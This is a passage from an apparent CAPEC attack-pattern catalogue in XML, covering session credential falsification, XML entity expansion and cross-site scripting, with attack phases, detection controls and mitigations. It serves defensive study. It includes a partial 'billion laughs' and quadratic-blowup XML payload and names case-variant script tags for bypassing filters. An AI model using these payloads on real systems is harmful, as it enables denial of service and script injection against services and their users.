			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Use session IDs that are difficult to guess or
						brute-force: One way for the attackers to obtain valid session IDs is by
						brute-forcing or guessing them. By choosing session identifiers that are
						sufficiently random, brute-forcing or guessing becomes very
						difficult.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Regenerate and destroy session identifiers when there is a
						change in the level of privilege: This ensures that even though a potential
						victim may have followed a link with a fixated identifier, a new one is
						issued when the level of privilege changes.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>GET or POST data, HTTP header, session cookies</Text>
			</Injection_Vector>
			<Payload>
				<Text>Any HTTP Request transport variables (GET, POST, Headers, etc.)</Text>
			</Payload>
			<Activation_Zone>
				<Text>Target application's session management mechanism</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The payload activation impact is that a session identifier of the
						attacker's choice is considered valid and trust decisions by the application
						will be based on such a forged identifier.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>361<!--Time and State -->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>664<!--Insufficient Control of a Resource Through its Lifetime -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>384<!--Session Fixation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text> In a Session Fixation attack, the attacker provides a credential and
							coerces a user into using that credential when authenticating with the
							server. If the format of credentials is anything but trivial, the
							attacker would need to forge a valid-looking credential first.</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/21.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ParentOf</Relationship_Nature>
					<Relationship_Target_ID>59<!--Session Credential Falsification through Prediction-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/59.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ParentOf</Relationship_Nature>
					<Relationship_Target_ID>226<!--Session Credential Falsification through Manipulation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/226.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Web</Architectural_Paradigm>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Thomas Schreiber</Reference_Author>
					<Reference_Title>Session Riding: A Widespread Vulnerability in Today's Web
						Applications</Reference_Title>
					<Reference_Publication>SecureNet GmbH</Reference_Publication>
					<Reference_PubDate>Dec 2004</Reference_PubDate>
					<Reference_Link>http://www.securenet.de/papers/Session_Riding.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>CWE-384: Session Fixation </Reference_Title>
					<Reference_Publisher>CWE</Reference_Publisher>
					<Reference_Link>http://cwe.mitre.org/data/definitions/384.html </Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Testing for Session Management</Reference_Title>
					<Reference_Publication>OWASP</Reference_Publication>
					<Reference_Link>http://www.owasp.org/index.php/Testing_for_Session_Management
					</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Wendy Jin</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="197" Name="XEE (XML Entity Expansion)" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker submits an XML document to a target application where the XML
						document uses nested entity expansion to produce an excessively large output
						XML. XML allows the definition of macro-like structures that can be used to
						simplify the creation of complex structures. However, this capability can be
						abused to create excessive demands on a processor's CPU and memory. A small
						number of nested expansions can result in an exponential growth in demands
						on memory.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all instances of web services to process XML
												requests.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use an automated tool to record all
												instances of URLs to process XML requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how the application processes
												XML requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The URL processes XML content.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The application does not seem to accept XML
												content.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them). </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Launch an XML Entity Expansion
											attack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker crafts malicious XML message to force
												recursive entity expansion (or other repeated
												processing) that completely uses up available server
												resource.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Send the malicious crafted XML message
												containing recursive entity uses to the target
												URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker causes the target
												application denial of
												service.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative	">
												<Security_Control_Description>Disable altogether the
												use of inline DTD schemas in your XML parsing
												objects. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must receive XML input but either fail to provide an upper
						limit for entity expansion or provide a limit that is so large that it does
						not preclude significant resource consumption.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Flooding</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The most common example of this type of attack is the &quot;many
							laughs&quot; attack (some times called the &apos;billion laughs&apos;
							attack). For example: ... &lt;!DOCTYPE member [ &lt;!ENTITY a
							&quot;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&quot;&gt;
							&lt;!ENTITY b
							&quot;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&quot;&gt;
							&lt;!ENTITY c
							&quot;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&quot;&gt;
							... Each entity increases the number entities by a factor of 10. If the
							above progression were continued to 'z' and 'z' was a simple 10-byte
							string, the total memory requirement of 'a' in the resulting document
							would be 10^26 bytes (one-hundred septillion bytes) - well beyond the
							capabilities of modern computers. Depending on the robustness of the
							target machine, this can lead to resource depletion, application crash,
							or even the execution of arbitrary code through a buffer overflow.
							Another example of Entity Expansion is Quadratic Blowup attacks. Here
							the Entity feature is used by the attacker who defines a single huge
							entity (say, 100KB), and references it many times (say, 30000 times),
							inside an element that is used by the application (e.g. inside a SOAP
							string parameter). For example: &lt;?xml version=&quot;1.0&quot;?&gt;
							&lt;!DOCTYPE foobar [&lt;!ENTITY x &quot;AAAAA… [100KB of them] …
							AAAA&quot;&gt;]&gt; &lt;root&gt; &lt;hi&gt;&amp;x;&amp;x;….[30000 of
							them] … &amp;x;&amp;x;&lt;/hi&gt; &lt;/root&gt; </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To send recursive entity expansion XML messages.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resource required.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use libraries and templates that minimize unfiltered input. Use
						methods that limit entity expansion and throw exceptions on attempted entity
						expansion.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable altogether the use of inline DTD schemas in your
						XML parsing objects. If must use DTD, normalize, filter and white list and
						parse with methods and routines that will detect entity expansion from
						untrusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text> XML-capable system interfaces</Text>
			</Injection_Vector>
			<Payload>
				<Text>Maliciously crafted entity expansion XML message</Text>
			</Payload>
			<Activation_Zone>
				<Text>XML inspection, parsing and validation routines</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Denial of Service</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>400<!--Uncontrolled Resource Consumption ('Resource Exhaustion') -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>82<!--Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/82.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>377<!--WASC Threat Classification 2.0 - WASC-44 - XML Entity Expansion-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/377.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ParentOf</Relationship_Nature>
					<Relationship_Target_ID>228<!--Resource Depletion through DTD Injection in a SOAP Message-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/228.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Amit Klein</Reference_Author>
					<Reference_Title>Multiple vendors XML parser (and SOAP/WebServices server)
						Denial of Service attack using DTD </Reference_Title>
					<Reference_Link>http://www.securityfocus.com/archive/1/303509</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Andre Yee</Reference_Author>
					<Reference_Title>Threat Protection in a Service Oriented World</Reference_Title>
					<Reference_Publisher>NFR Security</Reference_Publisher>
					<Reference_Link>http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Pete Lindstrom</Reference_Author>
					<Reference_Title>Attacking and Defending Web Services</Reference_Title>
					<Reference_Link>http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Elliotte Rusty Harold </Reference_Author>
					<Reference_Title>Configure SAX parsers for secure processing</Reference_Title>
					<Reference_Link>http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author> Bryan Sullivan</Reference_Author>
					<Reference_Title>XML Denial of Service Attacks and Defenses</Reference_Title>
					<Reference_Link>http://msdn.microsoft.com/en-us/magazine/ee335713.aspx</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="198" Name="Cross-Site Scripting in Error Pages"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker distributes a link (or possibly some other query structure)
						with a request to a third party web server that is malformed and also
						contains a block of exploit code in order to have the exploit become live
						code in the resulting error page. When the third party web server receives
						the crafted request and notes the error it then creates an error message
						that echoes the malformed message, including the exploit. Doing this
						converts the exploit portion of the message into to valid language elements
						that are executed by the viewing browser. When a victim executes the query
						provided by the attacker the infected error message error message is
						returned including the exploit code which then runs in the victim's browser.
						XSS can result in execution of code as well as data leakage (e.g. session
						cookies can be sent to the attacker). This type of attack is especially
						dangerous since the exploit appears to come from the third party web server,
						who the victim may trust and hence be more vulnerable to deception. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> A third party web server which fails to adequately sanitize messages sent
						in error pages.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim must be made to execute a query crafted by the attacker which
						results in the infected error report.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use libraries and templates that minimize unfiltered input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Normalize, filter and white list any input that will be
						used in error messages.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: The victim should configure the browser to minimize active
						content from untrusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>81<!--Improper Neutralization of Script in an Error Message Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="199" Name="Cross-Site Scripting Using Alternate Syntax"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker uses alternate forms of keywords or commands that result in
						the same action as the primary form but which may not be caught by filters.
						For example, many keywords are processed in a case insensitive manner. If
						the site's web filtering algorithm does not convert all tags into a
						consistent case before the comparison with forbidden keywords it is possible
						to bypass filters (e.g., incomplete black lists) by using an alternate case
						structure. For example, the "script" tag using the alternate forms of
						"Script" or "ScRiPt" may bypass filters where "script" is the only form
						tested. Other variants using different syntax representations are also
						possible as well as using pollution meta-characters or entities that are
						eventually ignored by the rendering engine. The attack can result in the
						execution of otherwise prohibited functionality.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the
											application:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links he finds.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browser's plugins are available to facilitate the
												analysis or automate the URL discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>URL parameters are used by the application
												or the browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt injection payload variations on
											input parameters:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly using an automated tool, an attacker
												requests variations on the inputs he surveyed
												before. He sends parameters that include variations
												of payloads. The payloads are designed to bypass
												incomplete filtering (e.g., incomplete HTML encoding
												etc.) and tries many variations of characters
												injection that would enable the XSS payload. He
												records all the responses from the server that
												include unmodified versions of his script.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings to inject in
												parameters of known URLs. If possible, the probe
												strings contain a unique identifier. Attempt
												numerous variations based on form, format, syntax
												&amp; encoding.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of XSS probes in known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The output of pages includes some form of a
												URL parameter. E.g., ?error="File not Found"
												becomes "File not Found" in the title of the web
												page</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>User-controllable input is output back to
												the browser</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. The
												payload may be a stored to be served later. The
												unique identifier from the probe helps to trace
												the flow of the possible XSS.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's script string is
												being reflected verbatim at some point in the web
												site (if not on the same page). Note that
												sometimes, the payload might be well encoded in
												the page, but wouldn't be encoded at all in some
												other section of the same web page (title,
												etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All context-sensitive
												characters are consistently re-encoded before
												being sent to the web browser. For example, in a
												HTML tag element, the payload may not be able to
												evade the quotes in order to inject another
												attribute.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers, application servers, and other HTTP
												infrastructure (e.g., load balancers). Alert on
												standard XSS probes. The majority of attackers use
												well known strings to check for vulnerabilities.
												Use the same vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not embed
												user-controllable input generated HTTP
												headers</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
